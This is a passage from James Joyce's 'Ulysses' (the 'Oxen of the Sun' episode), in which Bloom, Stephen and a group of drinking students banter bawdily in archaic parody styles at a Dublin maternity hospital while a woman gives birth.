holy mother foldeth ever souls for +God's greater glory whereas that earthly mother which was but a dam to +bear beastly should die by canon for so saith he that holdeth the +fisherman's seal, even that blessed Peter on which rock was holy church +for all ages founded. All they bachelors then asked of sir Leopold would +he in like case so jeopard her person as risk life to save life. A +wariness of mind he would answer as fitted all and, laying hand to jaw, +he said dissembling, as his wont was, that as it was informed him, who +had ever loved the art of physic as might a layman, and agreeing also +with his experience of so seldomseen an accident it was good for that +mother Church belike at one blow had birth and death pence and in such +sort deliverly he scaped their questions. That is truth, pardy, said +Dixon, and, or I err, a pregnant word. Which hearing young Stephen was a +marvellous glad man and he averred that he who stealeth from the poor +lendeth to the Lord for he was of a wild manner when he was drunken and +that he was now in that taking it appeared eftsoons. + +But sir Leopold was passing grave maugre his word by cause he still had +pity of the terrorcausing shrieking of shrill women in their labour and +as he was minded of his good lady Marion that had borne him an only +manchild which on his eleventh day on live had died and no man of art +could save so dark is destiny. And she was wondrous stricken of heart for +that evil hap and for his burial did him on a fair corselet of lamb's +wool, the flower of the flock, lest he might perish utterly and lie +akeled (for it was then about the midst of the winter) and now Sir +Leopold that had of his body no manchild for an heir looked upon him his +friend's son and was shut up in sorrow for his forepassed happiness and +as sad as he was that him failed a son of such gentle courage (for all +accounted him of real parts) so grieved he also in no less measure for +young Stephen for that he lived riotously with those wastrels and +murdered his goods with whores. + +About that present time young Stephen filled all cups that stood empty so +as there remained but little mo if the prudenter had not shadowed their +approach from him that still plied it very busily who, praying for the +intentions of the sovereign pontiff, he gave them for a pledge the vicar +of Christ which also as he said is vicar of Bray. Now drink we, quod he, +of this mazer and quaff ye this mead which is not indeed parcel of my +body but my soul's bodiment. Leave ye fraction of bread to them that live +by bread alone. Be not afeard neither for any want for this will comfort +more than the other will dismay. See ye here. And he showed them +glistering coins of the tribute and goldsmith notes the worth of two +pound nineteen shilling that he had, he said, for a song which he writ. +They all admired to see the foresaid riches in such dearth of money as +was herebefore. His words were then these as followeth: Know all men, he +said, time's ruins build eternity's mansions. What means this? Desire's +wind blasts the thorntree but after it becomes from a bramblebush to be a +rose upon the rood of time. Mark me now. In woman's womb word is made +flesh but in the spirit of the maker all flesh that passes becomes the +word that shall not pass away. This is the postcreation. OMNIS CARO AD TE +VENIET. No question but her name is puissant who aventried the dear corse +of our Agenbuyer, Healer and Herd, our mighty mother and mother most +venerable and Bernardus saith aptly that She hath an OMNIPOTENTIAM +DEIPARAE SUPPLICEM, that is to wit, an almightiness of petition because +she is the second Eve and she won us, saith Augustine too, whereas that +other, our grandam, which we are linked up with by successive anastomosis +of navelcords sold us all, seed, breed and generation, for a penny +pippin. But here is the matter now. Or she knew him, that second I say, +and was but creature of her creature, VERGINE MADRE, FIGLIA DI TUO +FIGLIO, or she knew him not and then stands she in the one denial or +ignorancy with Peter Piscator who lives in the house that Jack built and +with Joseph the joiner patron of the happy demise of all unhappy +marriages, PARCEQUE M. LEO TAXIL NOUS A DIT QUE QUI L'AVAIT MISE DANS +CETTE FICHUE POSITION C'ETAIT LE SACRE PIGEON, VENTRE DE DIEU! ENTWEDER +transubstantiality ODER consubstantiality but in no case +subsubstantiality. And all cried out upon it for a very scurvy word. A +pregnancy without joy, he said, a birth without pangs, a body without +blemish, a belly without bigness. Let the lewd with faith and fervour +worship. With will will we withstand, withsay. + +Hereupon Punch Costello dinged with his fist upon the board and would +sing a bawdy catch STABOO STABELLA about a wench that was put in pod of a +jolly swashbuckler in Almany which he did straightways now attack: THE +FIRST THREE MONTHS SHE WAS NOT WELL, STABOO, when here nurse Quigley from +the door angerly bid them hist ye should shame you nor was it not meet as +she remembered them being her mind was to have all orderly against lord +Andrew came for because she was jealous that no gasteful turmoil might +shorten the honour of her guard. It was an ancient and a sad matron of a +sedate look and christian walking, in habit dun beseeming her megrims and +wrinkled visage, nor did her hortative want of it effect for +incontinently Punch Costello was of them all embraided and they reclaimed +the churl with civil rudeness some and shaked him with menace of +blandishments others whiles they all chode with him, a murrain seize the +dolt, what a devil he would be at, thou chuff, thou puny, thou got in +peasestraw, thou losel, thou chitterling, thou spawn of a rebel, thou +dykedropt, thou abortion thou, to shut up his drunken drool out of that +like a curse of God ape, the good sir Leopold that had for his cognisance +the flower of quiet, margerain gentle, advising also the time's occasion +as most sacred and most worthy to be most sacred. In Horne's house rest +should reign. + +To be short this passage was scarce by when Master Dixon of Mary in +Eccles, goodly grinning, asked young Stephen what was the reason why he +had not cided to take friar's vows and he answered him obedience in the +womb, chastity in the tomb but involuntary poverty all his days. Master +Lenehan at this made return that he had heard of those nefarious deeds +and how, as he heard hereof counted, he had besmirched the lily virtue of +a confiding female which was corruption of minors and they all +intershowed it too, waxing merry and toasting to his fathership. But he +said very entirely it was clean contrary to their suppose for he was the +eternal son and ever virgin. Thereat mirth grew in them the more and they +rehearsed to him his curious rite of wedlock for the disrobing and +deflowering of spouses, as the priests use in Madagascar island, she to +be in guise of white and saffron, her groom in white and grain, with +burning of nard and tapers, on a bridebed while clerks sung kyries and +the anthem UT NOVETUR SEXUS OMNIS CORPORIS MYSTERIUM till she was there +unmaided. He gave them then a much admirable hymen minim by those +delicate poets Master John Fletcher and Master Francis Beaumont that is +in their MAID'S TRAGEDY that was writ for a like twining of lovers: TO +BED, TO BED was the burden of it to be played with accompanable concent +upon the virginals. An exquisite dulcet epithalame of most mollificative +suadency for juveniles amatory whom the odoriferous flambeaus of the +paranymphs have escorted to the quadrupedal proscenium of connubial +communion. Well met they were, said Master Dixon, joyed, but, harkee, +young sir, better were they named Beau Mount and Lecher for, by my troth, +of such a mingling much might come. Young Stephen said indeed to his best +remembrance they had but the one doxy between them and she of the stews +to make shift with in delights amorous for life ran very high in those +days and the custom of the country approved with it. Greater love than +this, he said, no man hath that a man lay down his wife for his friend. +Go thou and do likewise. Thus, or words to that effect, saith +Zarathustra, sometime regius professor of French letters to the +university of Oxtail nor breathed there ever that man to whom mankind was +more beholden. Bring a stranger within thy tower it will go hard but thou +wilt have the secondbest bed. ORATE, FRATRES, PRO MEMETIPSO. And all the +people shall say, Amen. Remember, Erin, thy generations and thy days of +old, how thou settedst little by me and by my word and broughtedst in a +stranger to my gates to commit fornication in my sight and to wax fat and +kick like Jeshurum. Therefore hast thou sinned against my light and hast +made me, thy lord, to be the slave of servants. Return, return, Clan +Milly: forget me not, O Milesian. Why hast thou done this abomination +before me that thou didst spurn me for a merchant of jalaps and didst +deny me to the Roman and to the Indian of dark speech with whom thy +daughters did lie luxuriously? Look forth now, my people, upon the land +of behest, even from Horeb and from Nebo and from Pisgah and from the +Horns of Hatten unto a land flowing with milk and money. But thou hast +suckled me with a bitter milk: my moon and my sun thou hast quenched for +ever. And thou hast left me alone for ever in the dark ways of my +bitterness: and with a kiss of ashes hast thou kissed my mouth. This +tenebrosity of the interior, he proceeded to say, hath not been illumined +by the wit of the septuagint nor so much as mentioned for the Orient from +on high Which brake hell's gates visited a darkness that was foraneous. +Assuefaction minorates atrocities (as Tully saith of his darling Stoics) +and Hamlet his father showeth the prince no blister of combustion. The +adiaphane in the noon of life is an Egypt's plague which in the nights of +prenativity and postmortemity is their most proper UBI and QUOMODO. And +as the ends and ultimates of all things accord in some mean and measure +with their inceptions and originals, that same multiplicit concordance +which leads forth growth from birth accomplishing by a retrogressive +metamorphosis that minishing and ablation towards the final which is +agreeable unto nature so is it with our subsolar being. The aged sisters +draw us into life: we wail, batten, sport, clip, clasp, sunder, dwindle, +die: over us dead they bend. First, saved from waters of old Nile, among +bulrushes, a bed of fasciated wattles: at last the cavity of a mountain, +an occulted sepulchre amid the conclamation of the hillcat and the +ossifrage. And as no man knows the ubicity of his tumulus nor to what +processes we shall thereby be ushered nor whether to Tophet or to +Edenville in the like way is all hidden when we would backward see from +what region of remoteness the whatness of our whoness hath fetched his +whenceness. + +Thereto Punch Costello roared out mainly ETIENNE CHANSON but he loudly +bid them, lo, wisdom hath built herself a house, this vast majestic +longstablished vault, the crystal palace of the Creator, all in applepie +order, a penny for him who finds the pea. + + + BEHOLD THE MANSION REARED BY DEDAL JACK + SEE THE MALT STORED IN MANY A REFLUENT SACK, + IN THE PROUD CIRQUE OF JACKJOHN'S BIVOUAC. + + +A black crack of noise in the street here, alack, bawled back. Loud on +left Thor thundered: in anger awful the hammerhurler. Came now the storm +that hist his heart. And Master Lynch bade him have a care to flout and +witwanton as the god self was angered for his hellprate and paganry. And +he that had erst challenged to be so doughty waxed wan as they might all +mark and shrank together and his pitch that was before so haught uplift +was now of a sudden quite plucked down and his heart shook within the +cage of his breast as he tasted the rumour of that storm. Then did some +mock and some jeer and Punch Costello fell hard again to his yale which +Master Lenehan vowed he would do after and he was indeed but a word and a +blow on any the least colour. But the braggart boaster cried that an old +Nobodaddy was in his cups it was muchwhat indifferent and he would not +lag behind his lead. But this was only to dye his desperation as cowed he +crouched in Horne's hall. He drank indeed at one draught to pluck up a +heart of any grace for it thundered long rumblingly over all the heavens +so that Master Madden, being godly certain whiles, knocked him on his +ribs upon that crack of doom and Master Bloom, at the braggart's side, +spoke to him calming words to slumber his great fear, advertising how it +was no other thing but a hubbub noise that he heard, the discharge of +fluid from the thunderhead, look you, having taken place, and all of the +order of a natural phenomenon. + +But was young Boasthard's fear vanquished by Calmer's words? No, for he +had in his bosom a spike named Bitterness which could not by words be +done away. And was he then neither calm like the one nor godly like the +other? He was neither as much as he would have liked to be either. But +could he not have endeavoured to have found again as in his youth the +bottle Holiness that then he lived withal? Indeed no for Grace was not +there to find that bottle. Heard he then in that clap the voice of the +god Bringforth or, what Calmer said, a hubbub of Phenomenon? Heard? Why, +he could not but hear unless he had plugged him up the tube Understanding +(which he had not done). For through that tube he saw that he was in the +land of Phenomenon where he must for a certain one day die as he was like +the rest too a passing show. And would he not accept to die like the rest +and pass away? By no means would he though he must nor would he make more +shows according as men do with wives which Phenomenon has commanded them +to do by the book Law. Then wotted he nought of that other land which is +called Believe-on-Me, that is the land of promise which behoves to the +king Delightful and shall be for ever where there is no death and no +birth neither wiving nor mothering at which all shall come as many as +believe on it? Yes, Pious had told him of that land and Chaste had +pointed him to the way but the reason was that in the way he fell in with +a certain whore of an eyepleasing exterior whose name, she said, is Bird- +in-the-Hand and she beguiled him wrongways from the true path by her +flatteries that she said to him as, Ho, you pretty man, turn aside hither +and I will show you a brave place, and she lay at him so flatteringly +that she had him in her grot which is named Two-in-the-Bush or, by some +learned, Carnal Concupiscence. + +This was it what all that company that sat there at commons in Manse of +Mothers the most lusted after and if they met with this whore Bird-in- +the-Hand (which was within all foul plagues, monsters and a wicked devil) +they would strain the last but they would make at her and know her. For +regarding Believe-on-Me they said it was nought else but notion and they +could conceive no thought of it for, first, Two-in-the-Bush whither she +ticed them was the very goodliest grot and in it were four pillows on +which were four tickets with these words printed on them, Pickaback and +Topsyturvy and Shameface and Cheek by Jowl and, second, for that foul +plague Allpox and the monsters they cared not for them for Preservative +had given them a stout shield of oxengut and, third, that they might take +no hurt neither from Offspring that was that wicked devil by virtue of +this same shield which was named Killchild. So were they all in their +blind fancy, Mr Cavil and Mr Sometimes Godly, Mr Ape Swillale, Mr False +Franklin, Mr Dainty Dixon, Young Boasthard and Mr Cautious Calmer. +Wherein, O wretched company, were ye all deceived for that was the voice +of the god that was in a very grievous rage that he would presently lift +his arm up and spill their souls for their abuses and their spillings +done by them contrariwise to his word which forth to bring brenningly +biddeth. + +So Thursday sixteenth June Patk. Dignam laid in clay of an apoplexy and +after hard drought, please God, rained, a bargeman coming in by water a +fifty mile or thereabout with turf saying the seed won't sprout, fields +athirst, very sadcoloured and stunk mightily, the quags and tofts too. +Hard to breathe and all the young quicks clean consumed without sprinkle +this long while back as no man remembered to be without. The rosy buds +all gone brown and spread out blobs and on the hills nought but dry flag +and faggots that would catch at first fire. All the world saying, for +aught they knew, the big wind of last February a year that did havoc the +land so pitifully a small thing beside this barrenness. But by and by, as +said, this evening after sundown, the wind sitting in the west, biggish +swollen clouds to be seen as the night increased and the weatherwise +poring up at them and some sheet lightnings at first and after, past ten +of the clock, one great stroke with a long thunder and in a brace of +shakes all scamper pellmell within door for the smoking shower, the men +making shelter for their straws with a clout or kerchief, womenfolk +skipping off with kirtles catched up soon as the pour came. In Ely place, +Baggot street, Duke's lawn, thence through Merrion green up to Holles +street a swash of water flowing that was before bonedry and not one chair +or coach or fiacre seen about but no more crack after that first. Over +against the Rt. Hon. Mr Justice Fitzgibbon's door (that is to sit with Mr +Healy the lawyer upon the college lands) Mal. Mulligan a gentleman's +gentleman that had but come from Mr Moore's the writer's (that was a +papish but is now, folk say, a good Williamite) chanced against Alec. +Bannon in a cut bob (which are now in with dance cloaks of Kendal green) +that was new got to town from Mullingar with the stage where his coz and +Mal M's brother will stay a month yet till Saint Swithin and asks what in +the earth he does there, he bound home and he to Andrew Horne's being +stayed for to crush a cup of wine, so he said, but would tell him of a +skittish heifer, big of her age and beef to the heel, and all this while +poured with rain and so both together on to Horne's. There Leop. Bloom of +Crawford's journal sitting snug with a covey of wags, likely brangling +fellows, Dixon jun., scholar of my lady of Mercy's, Vin. Lynch, a Scots +fellow, Will. Madden, T. Lenehan, very sad about a racer he fancied and +Stephen D. Leop. Bloom there for a languor he had but was now better, be +having dreamed tonight a strange fancy of his dame Mrs Moll with red +slippers on in a pair of Turkey trunks which is thought by those in ken +to be for a change and Mistress Purefoy there, that got in through +pleading her belly, and now on the stools, poor body, two days past her +term, the midwives sore put to it and can't deliver, she queasy for a +bowl of riceslop that is a shrewd drier up of the insides and her breath +very heavy more than good and should be a bullyboy from the knocks, they +say, but God give her soon issue. 'Tis her ninth chick to live, I hear, +and Lady day bit off her last chick's nails that was then a twelvemonth +and with other three all breastfed that died written out in a fair hand +in the king's bible. Her hub fifty odd and a methodist but takes the +sacrament and is to be seen any fair sabbath with a pair of his boys off +Bullock harbour dapping on the sound with a heavybraked reel or in a punt +he has trailing for flounder and pollock and catches a fine bag, I hear. +In sum an infinite great fall of rain and all refreshed and will much +increase the harvest yet those in ken say after wind and water fire shall +come for a prognostication of Malachi's almanac (and I hear that Mr +Russell has done a prophetical charm of the same gist out of the +Hindustanish for his farmer's gazette) to have three things in all but +this a mere fetch without bottom of reason for old crones and bairns yet +sometimes they are found in the right guess with their queerities no +telling how. + +With this came up Lenehan to the feet of the table to say how the letter +was in that night's gazette and he made a show to find it about him (for +he swore with an oath that he had been at pains about it) but on +Stephen's persuasion he gave over the search and was bidden to sit near +by which he did mighty brisk. He was a kind of sport gentleman that went +for a merryandrew or honest pickle and what belonged of women, horseflesh +or hot scandal he had it pat. To tell the truth he was mean in fortunes +and for the most part hankered about the coffeehouses and low taverns +with crimps, ostlers, bookies, Paul's men, runners, flatcaps, +waistcoateers, ladies of the bagnio and other rogues of the game or with +a chanceable catchpole or a tipstaff often at nights till broad day of +whom he picked up between his sackpossets much loose gossip. He took his +ordinary at a boilingcook's and if he had but gotten into him a mess of +broken victuals or a platter of tripes with a bare tester in his purse he +could always bring himself off with his tongue, some randy quip he had +from a punk or whatnot that every mother's son of them would burst their +sides. The other, Costello that is, hearing this talk asked was it poetry +or a tale. Faith, no, he says, Frank (that was his name), 'tis all about +Kerry cows that are to be butchered along of the plague. But they can go +hang, says he with a wink, for me with their bully beef, a pox on it. +There's as good fish in this tin as ever came out of it and very friendly +he offered to take of some salty sprats that stood by which he had eyed +wishly in the meantime and found the place which was indeed the chief +design of his embassy as he was sharpset. MORT AUX VACHES, says Frank +then in the French language that had been indentured to a brandyshipper +that has a winelodge in Bordeaux and he spoke French like a gentleman +too. From a child this Frank had been a donought that his father, a +headborough, who could ill keep him to school to learn his letters and +the use of the globes, matriculated at the university to study the +mechanics but he took the bit between his teeth like a raw colt and was +more familiar with the justiciary and the parish beadle than with his +volumes. One time he would be a playactor, then a sutler or a welsher, +then nought would keep him from the bearpit and the cocking main, then he +was for the ocean sea or to hoof it on the roads with the romany folk, +kidnapping a squire's heir by favour of moonlight or fecking maids' linen +or choking chicken behind a hedge. He had been off as many times as a cat +has lives and back again with naked pockets as many more to his father +the headborough who shed a pint of tears as often as he saw him. What, +says Mr Leopold with his hands across, that was earnest to know the drift +of it, will they slaughter all? I protest I saw them but this day morning +going to the Liverpool boats, says he. I can scarce believe 'tis so bad, +says he. And he had experience of the like brood beasts and of springers, +greasy hoggets and wether wool, having been some years before actuary for +Mr Joseph Cuffe, a worthy salesmaster that drove his trade for live stock +and meadow auctions hard by Mr Gavin Low's yard in Prussia street. I +question with you there, says he. More like 'tis the hoose or the timber +tongue. Mr Stephen, a little moved but very handsomely told him no such +matter and that he had dispatches from the emperor's chief tailtickler +thanking him for the hospitality, that was sending over Doctor +Rinderpest, the bestquoted cowcatcher in all Muscovy, with a bolus or two +of physic to take the bull by the horns. Come, come, says Mr Vincent, +plain dealing. He'll find himself on the horns of a dilemma if he meddles +with a bull that's Irish, says he. Irish by name and irish by nature, +says Mr Stephen, and he sent the ale purling about, an Irish bull in an +English chinashop. I conceive you, says Mr Dixon. It is that same bull +that was sent to our island by farmer Nicholas, the bravest cattlebreeder +of them all, with an emerald ring in his nose. True for you, says Mr +Vincent cross the table, and a bullseye into the bargain, says he, and a +plumper and a portlier bull, says he, never shit on shamrock. He had +horns galore, a coat of cloth of gold and a sweet smoky breath coming out +of his nostrils so that the women of our island, leaving doughballs and +rollingpins, followed after him hanging his bulliness in daisychains. +What for that, says Mr Dixon, but before he came over farmer Nicholas +that was a eunuch had him properly gelded by a college of doctors who +were no better off than himself. So be off now, says he, and do all my +cousin german the lord Harry tells you and take a farmer's blessing, and +with that he slapped his posteriors very soundly. But the slap and the +blessing stood him friend, says Mr Vincent, for to make up he taught him +a trick worth two of the other so that maid, wife, abbess and widow to +this day affirm that they would rather any time of the month whisper in +his ear in the dark of a cowhouse or get a lick on the nape from his long +holy tongue than lie with the finest strapping young ravisher in the four +fields of all Ireland. Another then put in his word: And they dressed +him, says he, in a point shift and petticoat with a tippet and girdle and +ruffles on his wrists and clipped his forelock and rubbed him all over +with spermacetic oil and built stables for him at every turn of the road +with a gold manger in each full of the best hay in the market so that he +could doss and dung to his heart's content. By this time the father of +the faithful (for so they called him) was grown so heavy that he could +scarce walk to pasture. To remedy which our cozening dames and damsels +brought him his fodder in their apronlaps and as soon as his belly was +full he would rear up on his hind uarters to show their ladyships a +mystery and roar and bellow out of him in bulls' language and they all +after him. Ay, says another, and so pampered was he that he would suffer +nought to grow in all the land but green grass for himself (for that was +the only colour to his mind) and there was a board put up on a hillock in +the middle of the island with a printed notice, saying: By the Lord +Harry, Green is the grass that grows on the ground. And, says Mr Dixon, +if ever he got scent of a cattleraider in Roscommon or the wilds of +Connemara or a husbandman in Sligo that was sowing as much as a handful +of mustard or a bag of rapeseed out he'd run amok over half the +countryside rooting up with his horns whatever was planted and all by +lord Harry's orders. There was bad blood between them at first, says Mr +Vincent, and the lord Harry called farmer Nicholas all the old Nicks in +the world and an old whoremaster that kept seven trulls in his house and +I'll meddle in his matters, says he. I'll make that animal smell hell, +says he, with the help of that good pizzle my father left me. But one +evening, says Mr Dixon, when the lord Harry was cleaning his royal pelt +to go to dinner after winning a boatrace (he had spade oars for himself +but the first rule of the course was that the others were to row with +pitchforks) he discovered in himself a wonderful likeness to a bull and +on picking up a blackthumbed chapbook that he kept in the pantry he found +sure enough that he was a lefthanded descendant of the famous champion +bull of the Romans, BOS BOVUM, which is good bog Latin for boss of the +show. After that, says Mr Vincent, the lord Harry put his head into a +cow's drinkingtrough in the presence of all his courtiers and pulling it +out again told them all his new name. Then, with the water running off +him, he got into an old smock and skirt that had belonged to his +grandmother and bought a grammar of the bulls' language to study but he +could never learn a word of it except the first personal pronoun which he +copied out big and got off by heart and if ever he went out for a walk he +filled his pockets with chalk to write it upon what took his fancy, the +side of a rock or a teahouse table or a bale of cotton or a corkfloat. In +short, he and the bull of Ireland were soon as fast friends as an arse +and a shirt. They were, says Mr Stephen, and the end was that the men of +the island seeing no help was toward, as the ungrate women were all of +one mind, made a wherry raft, loaded themselves and their bundles of +chattels on shipboard, set all masts erect, manned the yards, sprang +their luff, heaved to, spread three sheets in the wind, put her head +between wind and water, weighed anchor, ported her helm, ran up the jolly +Roger, gave three times three, let the bullgine run, pushed off in their +bumboat and put to sea to recover the main of America. Which was the +occasion, says Mr Vincent, of the composing by a boatswain of that +rollicking chanty: + + + --POPE PETER'S BUT A PISSABED. + A MAN'S A MAN FOR A' THAT. + + +Our worthy acquaintance Mr Malachi Mulligan now appeared in the doorway +as the students were finishing their apologue accompanied with a friend +whom he had just rencountered, a young gentleman, his name Alec Bannon, +who had late come to town, it being his intention to buy a colour or a +cornetcy in the fencibles and list for the wars. Mr Mulligan was civil +enough to express some relish of it all the more as it jumped with a +project of his own for the cure of the very evil that had been touched +on. Whereat he handed round to the company a set of pasteboard cards +which he had had printed that day at Mr Quinnell's bearing a legend +printed in fair italics: MR MALACHI MULLIGAN. FERTILISER AND INCUBATOR. +LAMBAY ISLAND. His project, as he went on to expound, was to withdraw +from the round of idle pleasures such as form the chief business of sir +Fopling Popinjay and sir Milksop Quidnunc in town and to devote himself +to the noblest task for which our bodily organism has been framed. Well, +let us hear of it, good my friend, said Mr Dixon. I make no doubt it +smacks of wenching. Come, be seated, both. 'Tis as cheap sitting as +standing. Mr Mulligan accepted of the invitation and, expatiating upon +his design, told his hearers that he had been led into this thought by a +consideration of the causes of sterility, both the inhibitory and the +prohibitory, whether the inhibition in its turn were due to conjugal +vexations or to a parsimony of the balance as well as whether the +prohibition proceeded from defects congenital or from proclivities +acquired. It grieved him plaguily, he said, to see the nuptial couch +defrauded of its dearest pledges: and to reflect upon so many agreeable +females with rich jointures, a prey to the vilest bonzes, who hide their +flambeau under a bushel in an uncongenial cloister or lose their womanly +bloom in the embraces of some unaccountable muskin when they might +multiply the inlets of happiness, sacrificing the inestimable jewel of +their sex when a hundred pretty fellows were at hand to caress, this, he +assured them, made his heart weep. To curb this inconvenient (which he +concluded due to a suppression of latent heat), having advised with +certain counsellors of worth and inspected into this matter, he had +resolved to purchase in fee simple for ever the freehold of Lambay island +from its holder, lord Talbot de Malahide, a Tory gentleman of note much +in favour with our ascendancy party. He proposed to set up there a +national fertilising farm to be named OMPHALOS with an obelisk hewn and +erected after the fashion of Egypt and to offer his dutiful yeoman +services for the fecundation of any female of what grade of life soever +who should there direct to him with the desire of fulfilling the +functions of her natural. Money was no object, he said, nor would he take +a penny for his pains. The poorest kitchenwench no less than the opulent +lady of fashion, if so be their constructions and their tempers were warm +persuaders for their petitions, would find in him their man. For his +nutriment he shewed how he would feed himself exclusively upon a diet of +savoury tubercles and fish and coneys there, the flesh of these latter +prolific rodents being highly recommended for his purpose, both broiled +and stewed with a blade of mace and a pod or two of capsicum chillies. +After this homily which he delivered with much warmth of asseveration Mr +Mulligan in a trice put off from his hat a kerchief with which he had +shielded it. They both, it seems, had been overtaken by the rain and for +all their mending their pace had taken water, as might be observed by Mr +Mulligan's smallclothes of a hodden grey which was now somewhat piebald. +His project meanwhile was very favourably entertained by his auditors and +won hearty eulogies from all though Mr Dixon of Mary's excepted to it, +asking with a finicking air did he purpose also to carry coals to +Newcastle. Mr Mulligan however made court to the scholarly by an apt +quotation from the classics which, as it dwelt upon his memory, seemed to +him a sound and tasteful support of his contention: TALIS AC TANTA +DEPRAVATIO HUJUS SECULI, O QUIRITES, UT MATRESFAMILIARUM NOSTRAE LASCIVAS +CUJUSLIBET SEMIVIRI LIBICI TITILLATIONES TESTIBUS PONDEROSIS ATQUE +EXCELSIS ERECTIONIBUS CENTURIONUM ROMANORUM MAGNOPERE ANTEPONUNT, while +for those of ruder wit he drove home his point by analogies of the animal +kingdom more suitable to their stomach, the buck and doe of the forest +glade, the farmyard drake and duck. + +Valuing himself not a little upon his elegance, being indeed a proper man +of person, this talkative now applied himself to his dress with +animadversions of some heat upon the sudden whimsy of the atmospherics +while the company lavished their encomiums upon the project he had +advanced. The young gentleman, his friend, overjoyed as he was at a +passage that had late befallen him, could not forbear to tell it his +nearest neighbour. Mr Mulligan, now perceiving the table, asked for whom +were those loaves and fishes and, seeing the stranger, he made him a +civil bow and said, Pray, sir, was you in need of any professional +assistance we could give? Who, upon his offer, thanked him very heartily, +though preserving his proper distance, and replied that he was come there +about a lady, now an inmate of Horne's house, that was in an interesting +condition, poor body, from woman's woe (and here he fetched a deep sigh) +to know if her happiness had yet taken place. Mr Dixon, to turn the +table, took on to ask of Mr Mulligan himself whether his incipient +ventripotence, upon which he rallied him, betokened an ovoblastic +gestation in the prostatic utricle or male womb or was due, as with the +noted physician, Mr Austin Meldon, to a wolf in the stomach. For answer +Mr Mulligan, in a gale of laughter at his smalls, smote himself bravely +below the diaphragm, exclaiming with an admirable droll mimic of Mother +Grogan (the most excellent creature of her sex though 'tis pity she's a +trollop): There's a belly that never bore a bastard. This was so happy a +conceit that it renewed the storm of mirth and threw the whole room into +the most violent agitations of delight. The spry rattle had run on in the +same vein of mimicry but for some larum in the antechamber. + +Here the listener who was none other than the Scotch student, a little +fume of a fellow, blond as tow, congratulated in the liveliest fashion +with the young gentleman and, interrupting the narrative at a salient +point, having desired his visavis with a polite beck to have the +obligingness to pass him a flagon of cordial waters at the same time by a +questioning poise of the head (a whole century of polite breeding had not +achieved so nice a gesture) to which was united an equivalent but +contrary balance of the bottle asked the narrator as plainly as was ever +done in words if he might treat him with a cup of it. MAIS BIEN SUR, +noble stranger, said he cheerily, ET MILLE COMPLIMENTS. That you may and +very opportunely. There wanted nothing but this cup to crown my felicity. +But, gracious heaven, was I left with but a crust in my wallet and a +cupful of water from the well, my God, I would accept of them and find it +in my heart to kneel down upon the ground and give thanks to the powers +above for the happiness vouchsafed me by the Giver of good things. With +these words he approached the goblet to his lips, took a complacent +draught of the cordial, slicked his hair and, opening his bosom, out +popped a locket that hung from a silk riband, that very picture which he +had cherished ever since her hand had wrote therein. Gazing upon those +features with a world of tenderness, Ah, Monsieur, he said, had you but +beheld her as I did with these eyes at that affecting instant with her +dainty tucker and her new coquette cap (a gift for her feastday as she +told me prettily) in such an artless disorder, of so melting a +tenderness, 'pon my conscience, even you, Monsieur, had been impelled by +generous nature to deliver yourself wholly into the hands of such an +enemy or to quit the field for ever. I declare, I was never so touched in +all my life. God, I thank thee, as the Author of my days! Thrice happy +will he be whom so amiable a creature will bless with her favours. A sigh +of affection gave eloquence to these words and, having replaced the +locket in his bosom, he wiped his eye and sighed again. Beneficent +Disseminator of blessings to all Thy creatures, how great and universal +must be that sweetest of Thy tyrannies which can hold in thrall the free +and the bond, the simple swain and the polished coxcomb, the lover in the +heyday of reckless passion and the husband of maturer years. But indeed, +sir, I wander from the point. How mingled and imperfect are all our +sublunary joys. Maledicity! he exclaimed in anguish. Would to God that +foresight had but remembered me to take my cloak along! I could weep to +think of it. Then, though it had poured seven showers, we were neither of +us a penny the worse. But beshrew me, he cried, clapping hand to his +forehead, tomorrow will be a new day and, thousand thunders, I know of a +MARCHAND DE CAPOTES, Monsieur Poyntz, from whom I can have for a livre as +snug a cloak of the French fashion as ever kept a lady from wetting. Tut, +tut! cries Le Fecondateur, tripping in, my friend Monsieur Moore, that +most accomplished traveller (I have just cracked a half bottle AVEC LUI +in a circle of the best wits of the town), is my authority that in Cape +Horn, VENTRE BICHE, they have a rain that will wet through any, even the +stoutest cloak. A drenching of that violence, he tells me, SANS BLAGUE, +has sent more than one luckless fellow in good earnest posthaste to +another world. Pooh! A LIVRE! cries Monsieur Lynch. The clumsy things are +dear at a sou. One umbrella, were it no bigger than a fairy mushroom, is +worth ten such stopgaps. No woman of any wit would wear one. My dear +Kitty told me today that she would dance in a deluge before ever she +would starve in such an ark of salvation for, as she reminded me +(blushing piquantly and whispering in my ear though there was none to +snap her words but giddy butterflies), dame Nature, by the divine +blessing, has implanted it in our hearts and it has become a household +word that IL Y A DEUX CHOSES for which the innocence of our original +garb, in other circumstances a breach of the proprieties, is the fittest, +nay, the only garment. The first, said she (and here my pretty +philosopher, as I handed her to her tilbury, to fix my attention, gently +tipped with her tongue the outer chamber of my ear), the first is a bath +... But at this point a bell tinkling in the hall cut short a discourse +which promised so bravely for the enrichment of our store of knowledge. + +Amid the general vacant hilarity of the assembly a bell rang and, while +all were conjecturing what might be the cause, Miss Callan entered and, +having spoken a few words in a low tone to young Mr Dixon, retired with a +profound bow to the company. The presence even for a moment among a party +of debauchees of a woman endued with every quality of modesty and not +less severe than beautiful refrained the humourous sallies even of the +most licentious but her departure was the signal for an outbreak of +ribaldry. Strike me silly, said Costello, a low fellow who was fuddled. A +monstrous fine bit of cowflesh! I'll be sworn she has rendezvoused you. +What, you dog? Have you a way with them? Gad's bud, immensely so, said Mr +Lynch. The bedside manner it is that they use in the Mater hospice. +Demme, does not Doctor O'Gargle chuck the nuns there under the chin. As I +look to be saved I had it from my Kitty who has been wardmaid there any +time these seven months. Lawksamercy, doctor, cried the young blood in +the primrose vest, feigning a womanish simper and with immodest +squirmings of his body, how you do tease a body! Drat the man! Bless me, +I'm all of a wibbly wobbly. Why, you're as bad as dear little Father +Cantekissem, that you are! May this pot of four half choke me, cried +Costello, if she aint in the family way. I knows a lady what's got a +white swelling quick as I claps eyes on her. The young surgeon, however, +rose and begged the company to excuse his retreat as the nurse had just +then informed him that he was needed in the ward. Merciful providence had +been pleased to put a period to the sufferings of the lady who was +ENCEINTE which she had borne with a laudable fortitude and she had given +birth to a bouncing boy. I want patience, said he, with those who, +without wit to enliven or learning to instruct, revile an ennobling +profession which, saving the reverence due to the Deity, is the greatest +power for happiness upon the earth. I am positive when I say that if need +were I could produce a cloud of witnesses to the excellence of her noble +exercitations which, so far from being a byword, should be a glorious +incentive in the human breast. I cannot away with them. What? Malign such +an one, the amiable Miss Callan, who is the lustre of her own sex and the +astonishment of ours? And at an instant the most momentous that can +befall a puny child of clay? Perish the thought! I shudder to 